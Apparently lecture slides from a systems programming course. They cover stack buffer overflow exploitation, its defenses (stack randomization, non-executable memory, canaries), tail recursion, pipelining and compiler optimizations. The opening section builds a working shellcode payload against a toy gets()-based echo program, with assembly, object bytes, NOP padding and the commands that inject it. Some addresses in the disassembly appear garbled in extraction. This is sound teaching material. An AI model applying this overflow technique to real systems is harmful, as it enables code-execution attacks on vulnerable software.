

CS 33


Machine Programming (6)

Crafting the Exploit ...

- **Code + padding**
 - 96 bytes long
 - » 80 bytes for buf
 - » 8 bytes for base pointer
 - » 8 bytes for return address

Code (in C):

```
void exploit() {  
    write(1, "hacked by twd",  
          strlen("hacked by twd"));  
    exit(0);  
}
```



Assembler Code from gcc

```
.file "exploit.c"
.section          .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "hacked by twd"
.text
.globl  exploit
.type   exploit, @function
exploit:
.LFB19:
.cfi_startproc
subq   $8, %rsp
.cfi_def_cfa_offset 16
movl   $13, %edx
movl   $.LC0, %esi
movl   $1, %edi
call   write
movl   $0, %edi
call   exit
.cfi_endproc
.LFE19:
.size   exploit, .-exploit
.ident  "GCC: (Debian 4.7.2-5) 4.7.2"
.section .note.GNU-stack,"",@progbits
```

Exploit

```
exploit: # assume start address is 0x7fffffff6d0
  subq $8, %rsp          # needed for syscall instructions
  movl $13, %edx         # length of string
  movq $0x7fffffff6fb, %rsi # address of output string
  movl $1, %edi         # write to standard output
  movl $1, %eax         # do a "write" system call
  syscall
  movl $0, %edi         # argument to exit is 0
  movl $60, %eax        # do an "exit" system call
  syscall
str:
.string "hacked by twd"
  nop
  nop } 26 no-ops
  ...
  nop
.quad 0x7fffffff6d0
.byte '\n'
```

Actual Object Code

Disassembly of section .text:

```
000000000000000000 <exploit>:
  0:   48 83 ec 08          sub     $0x8,%rsp
  4:   ba 0e 00 00 00      mov     $0xe,%edx
  9:   48 be fb e6 ff ff ff movabs  $0x7fffffffef6fb,%rsi
10:   7f 00 00
13:   bf 01 00 00 00      mov     $0x1,%edi
18:   b8 01 00 00 00      mov     $0x1,%eax
1d:   0f 05              syscall
1f:   bf 00 00 00 00      mov     $0x0,%edi
24:   b8 3c 00 00 00      mov     $0x3c,%eax
29:   0f 05              syscall

00000000000000002b <str>:
 2b:   68 61 63 6b 65      pushq  $0x656b6361
 30:   64 20 62 79          and     %ah,%fs:0x79(%rdx)
 34:   20 74 77 64          and     %dh,0x64(%rdi,%rsi,2)
 38:   00 90 90 90 90      add     %dl,-0x6f6f6f70(%rax)
  . . .
```

Using the Exploit

1) Assemble the code

```
gcc -c exploit.s
```

2) disassemble it

```
objdump -d exploit.o > exploit.txt
```

3) edit object.txt

(see next slide)

4) Convert to raw and input to exploitee

```
cat exploit.txt | ./hex2raw | ./echo
```

Unedited exploit.txt

Disassembly of section .text:

Disassembly of section .text:

000000000000000000 <exploit>:

```
0:  48 83 ec 08          sub     $0x8,%rsp
4:  ba 0d 00 00 00      mov     $0xd,%edx
9:  48 be fb e6 ff ff ff  movabs  $0x7fffffffefe6fb,%rsi
10:  7f 00 00
13:  bf 01 00 00 00      mov     $0x1,%edi
18:  b8 01 00 00 00      mov     $0x1,%eax
1d:  0f 05              syscall
1f:  bf 00 00 00 00      mov     $0x0,%edi
24:  b8 3c 00 00 00      mov     $0x3c,%eax
29:  0f 05              syscall
```

. . .

Edited exploit.txt

```
48 83 ec 08          /* sub    $0x8,%rsp */
ba 0d 00 00 00      /* mov    $0xd,%edx */
48 be fb e6 ff ff ff /* movabs $0x7fffffffefb,%rsi */
7f 00 00
bf 01 00 00 00      /* mov    $0x1,%edi */
b8 01 00 00 00      /* mov    $0x1,%eax */
0f 05              /* syscall */
bf 00 00 00 00      /* mov    $0x0,%edi */
b8 3c 00 00 00      /* mov    $0x3c,%eax */
0f 05              /* syscall */
. . .
```


Quiz 1

```
int main( ) {  
    char buf[80];  
    gets(buf);  
    puts(buf);  
    return 0;  
}
```

```
main:  
    subq    $80, %rsp    # grow stack  
    movq    %rsp, %rdi  # setup arg  
    call   gets  
    movq    %rsp, %rdi  # setup arg  
    call   puts  
    movl    $0, %eax    # set return value  
    addq    $80, %rsp   # pop stack  
    ret
```


Exploit Code (in C):

```
void exploit() {  
    write(1, "hacked by twd", 15);  
    exit(0);  
}
```

The exploit code is executed:

- a) on return from main
- b) before the call to gets
- c) before the call to puts, but after gets returns

Example



Defense!

- **Don't use gets!**
- **Make it difficult to craft exploits**
- **Detect exploits before they can do harm**

System-Level Protections

- **Randomized stack offsets**
 - at start of program, allocate random amount of space on stack
 - makes it difficult for hacker to predict beginning of inserted code
- **Non-executable code segments**
 - in traditional x86, can mark region of memory as either “read-only” or “writeable”
 - » can execute anything readable
 - modern hardware requires explicit “execute” permission

```
unix> gdb echo
(gdb) break echo


(gdb) run
(gdb) print /x $rsp
$1 = 0x7fffffff638

(gdb) run
(gdb) print /x $rsp
$2 = 0x7fffffffbb08

(gdb) run
(gdb) print /x $rsp
$3 = 0x7fffffff6a8
```

Stack Randomization


- We don't know exactly where the stack is
 - buffer is 2000 bytes long
 - the start of the buffer might be anywhere between 7000 and 8000



NOP Slides

- **NOP (No-Op) instructions do nothing**
 - they just increment `%rip` to point to the next instruction
 - they are each one-byte long
 - a sequence of `n` NOPs occupies `n` bytes
 - » if executed, they effectively add `n` to `%rip`
 - » execution “slides” through them

NOP Slides and Stack Randomization



Stack Canaries



- **Idea**
 - place special value (“canary”) on stack just beyond buffer
 - check for corruption before exiting function
- **gcc implementation**
 - `-fstack-protector`
 - `-fstack-protector-all`

```
unix>./echo-protected
Type a string:1234
1234
```


```
unix>./echo-protected
Type a string:12345
*** stack smashing detected ***
```


Protected Buffer Disassembly

```
0000000000001155 <echo>:
 1155:      55                push   %rbp
 1156:     48 89 e5          mov    %rsp,%rbp
 1159:     48 83 ec 10       sub    $0x10,%rsp
 115d:     64 48 8b 04 25 28 00 mov    %fs:0x28,%rax
 1164:     00 00
 1166:     48 89 45 f8       mov    %rax,-0x8(%rbp)
 116a:     31 c0             xor    %eax,%eax
 116c:     48 8d 45 f4       lea   -0xc(%rbp),%rax
 1170:     48 89 c7          mov    %rax,%rdi
 1173:     b8 00 00 00 00   mov    $0x0,%eax
 1178:     e8 d3 fe ff ff   callq 1050 <gets@plt>
 117d:     48 8d 45 f4       lea   -0xc(%rbp),%rax
 1181:     48 89 c7          mov    %rax,%rdi
 1184:     e8 a7 fe ff ff   callq 1030 <puts@plt>
 1189:     b8 00 00 00 00   mov    $0x0,%eax
 118e:     48 8b 55 f8       mov    -0x8(%rbp),%rdx
 1192:     64 48 33 14 25 28 00 xor    %fs:0x28,%rdx
 1199:     00 00
 119b:     74 05             je     11a2 <main+0x4d>
 119d:     e8 9e fe ff ff   callq 1040 <__stack_chk_fail@plt>
 11a2:     c9               leaveq
 11a3:     c3               retq
```

Setting Up Canary

Before call to gets




```
/* Echo Line */  
void echo()  
{  
    char buf[4]; /* Way too small! */  
    gets(buf);  
    puts(buf);  
}
```

```
echo:  
    . . .  
    movq    %fs:0x28, %rax    # Get canary  
    movq    %rax, -0x8(%rbp) # Put on stack  
    xorl    %eax, %eax       # Erase canary  
    . . .
```

Checking Canary

After call to gets



```
/* Echo Line */  
void echo()  
{  
    char buf[4]; /* Way too small! */  
    gets(buf);  
    puts(buf);  
}
```

```
echo:  
    . . .  
    movq    -0x8(%rbp), %rax # Retrieve from stack  
    xorq    %fs:0x28, %rax   # Compare with Canary  
    je     11a2              # Same: skip ahead  
    call   __stack_chk_fail # ERROR  
    .L2:  
    . . .
```

Tail Recursion

```
int factorial(int x) {  
    if (x == 1)  
        return x;  
    else  
        return  
            x*factorial(x-1);  
}
```

```
int factorial(int x) {  
    return f2(x, 1);  
}  
  
int f2(int a1, int a2) {  
    if (a1 == 1)  
        return a2;  
    else  
        return  
            f2(a1-1, a1*a2);  
}
```


No Tail Recursion (1)

x: 6
return addr
x: 5
return addr
x: 4
return addr
x: 3
return addr
x: 2
return addr
x: 1
return addr

No Tail Recursion (2)

x: 6	ret: 720
return addr	
x: 5	ret: 120
return addr	
x: 4	ret: 24
return addr	
x: 3	ret: 6
return addr	
x: 2	ret: 2
return addr	
x: 1	ret: 1
return addr	

Tail Recursion



Code: gcc -O1

```
f2:
    movl    %esi, %eax
    cmpl   $1, %edi
    je     .L5
    subq   $8, %rsp
    movl   %edi, %esi
    imull  %eax, %esi
    subl   $1, %edi
    call   f2          # recursive call!
    addq   $8, %rsp

.L5:
    rep
    ret
```


Code: gcc -O2

```
f2:
    cmpl    $1, %edi
    movl    %esi, %eax
    je     .L8

.L12:
    imull   %edi, %eax
    subl    $1, %edi
    cmpl    $1, %edi
    jne     .L12
} loop!

.L8:
    rep
    ret
```

Computer Architecture and Optimization (1)

What You Need to Know to Write Better Code


Simplistic View of Processor

```
while (true) {  
    instruction = mem[rip];  
    execute(instruction);  
}
```

Some Details ...

```
void execute(instruction_t instruction) {  
    decode(instruction, &opcode, &operands);  
    fetch(operands, &in_operands);  
    perform(opcode, in_operands, &out_operands);  
    store(out_operands);  
}
```


Pipelines



Analysis

- **Not pipelined**
 - each instruction takes, say, 3.2 nanoseconds
 - » 3.2 ns latency
 - 312.5 million instructions/second (MIPS)
- **Pipelined**
 - each instruction still takes 3.2 ns
 - » latency still 3.2 ns
 - an instruction completes every .8 ns
 - » 1.25 billion instructions/second (GIPS) throughput

Hazards ...




Data Hazards


```
addq 12(%rbx), %rax
```

```
addq $20, %rax
```

```
movq 40(%rax), %rsp
```



Coping



Control Hazards

```
movl $0, %ecx
```

```
.L2:
```

```
movl %edx, %eax
```

```
andl $1, %eax
```

```
addl %eax, %ecx
```

```
shrl $1, %edx
```

```
jne .L2 # what goes in the pipeline?
```


```
movl %ecx, %eax
```

```
...
```

Coping: Guess ...

- **Branch prediction**
 - **assume, for example, that conditional branches are always taken**
 - **but don't do anything to registers or memory until you know for sure**

Modern CPU Design



Performance Realities

There's more to performance than asymptotic complexity

- **Constant factors matter too!**
 - easily see 10:1 performance range depending on how code is written
 - must optimize at multiple levels:
 - » algorithm, data representations, functions, and loops
- **Must understand system to optimize performance**
 - how programs are compiled and executed
 - how to measure program performance and identify bottlenecks
 - how to improve performance without destroying code modularity and generality

Optimizing Compilers

- **Provide efficient mapping of program to machine**
 - register allocation
 - code selection and ordering (scheduling)
 - eliminating minor inefficiencies
- **Don't (usually) improve asymptotic efficiency**
 - up to programmer to select best overall algorithm
 - big-O savings are (often) more important than constant factors
 - » but constant factors also matter
- **Have difficulty overcoming “optimization blockers”**
 - potential memory aliasing
 - potential function side-effects

Limitations of Optimizing Compilers

- Operate under fundamental constraint
 - must not cause any change in program behavior
 - often prevents it from making optimizations that would only affect behavior under pathological conditions
- Behavior that may be obvious to the programmer can be obfuscated by languages and coding styles
 - e.g., data ranges may be more limited than variable types suggest
- Most analysis is performed only within functions
 - whole-program analysis is too expensive in most cases
- Most analysis is based only on *static* information
 - compiler has difficulty anticipating run-time inputs
- **When in doubt, the compiler must be conservative**

Generally Useful Optimizations

- Optimizations that you or the compiler should do regardless of processor / compiler
- Code Motion
 - reduce frequency with which computation performed
 - » if it will always produce same result
 - » especially moving code out of loop

```
void set_row(long *a, long *b,  
            long i, long n){  
    long j;  
    for (j = 0; j < n; j++)  
        a[n*i+j] = b[j];  
}
```



```
long j;  
long ni = n*i;  
for (j = 0; j < n; j++)  
    a[ni+j] = b[j];
```


Reduction in Strength

- Replace costly operation with simpler one
- Shift, add instead of multiply or divide

$16 * x \quad \rightarrow \quad x \ll 4$

– utility is machine-dependent

– depends on cost of multiply or divide instruction

» on some Intel processors, multiplies are 3x longer than adds

- Recognize sequence of products

```
for (i = 0; i < n; i++)  
  for (j = 0; j < n; j++)  
    a[n*i + j] = b[j];
```



```
int ni = 0;  
for (i = 0; i < n; i++) {  
  for (j = 0; j < n; j++)  
    a[ni + j] = b[j];  
  ni += n;  
}
```

Share Common Subexpressions

- Reuse portions of expressions
- Compilers often not very sophisticated in exploiting arithmetic properties

```
/* Sum neighbors of i,j */
up =    val[(i-1)*n + j ];
down =  val[(i+1)*n + j ];
left =  val[i*n      + j-1];
right = val[i*n      + j+1];
sum = up + down + left + right;
```

3 multiplications: $i*n$, $(i-1)*n$, $(i+1)*n$

```
leaq  1(%rsi), %rax  # i+1
leaq  -1(%rsi), %r8  # i-1
imulq %rcx, %rsi    # i*n
imulq %rcx, %rax    # (i+1)*n
imulq %rcx, %r8     # (i-1)*n
addq  %rdx, %rsi    # i*n+j
addq  %rdx, %rax    # (i+1)*n+j
addq  %rdx, %r8     # (i-1)*n+j
```

```
long inj = i*n + j;
up =    val[inj - n];
down =  val[inj + n];
left =  val[inj - 1];
right = val[inj + 1];
sum = up + down + left + right;
```

1 multiplication: $i*n$

```
imulq %rcx, %rsi  # i*n
addq  %rdx, %rsi  # i*n+j
movq  %rsi, %rax  # i*n+j
subq  %rcx, %rax  # i*n+j-n
leaq  (%rsi,%rcx), %rcx # i*n+j+n
```

Quiz 2

The fastest means for evaluating

$$n*n + 2*n + 1$$

requires exactly:

- a) 2 multiplies and 2 additions
- b) three additions
- c) one multiply and two additions
- d) one multiply and one addition

Hint: remember high-school algebra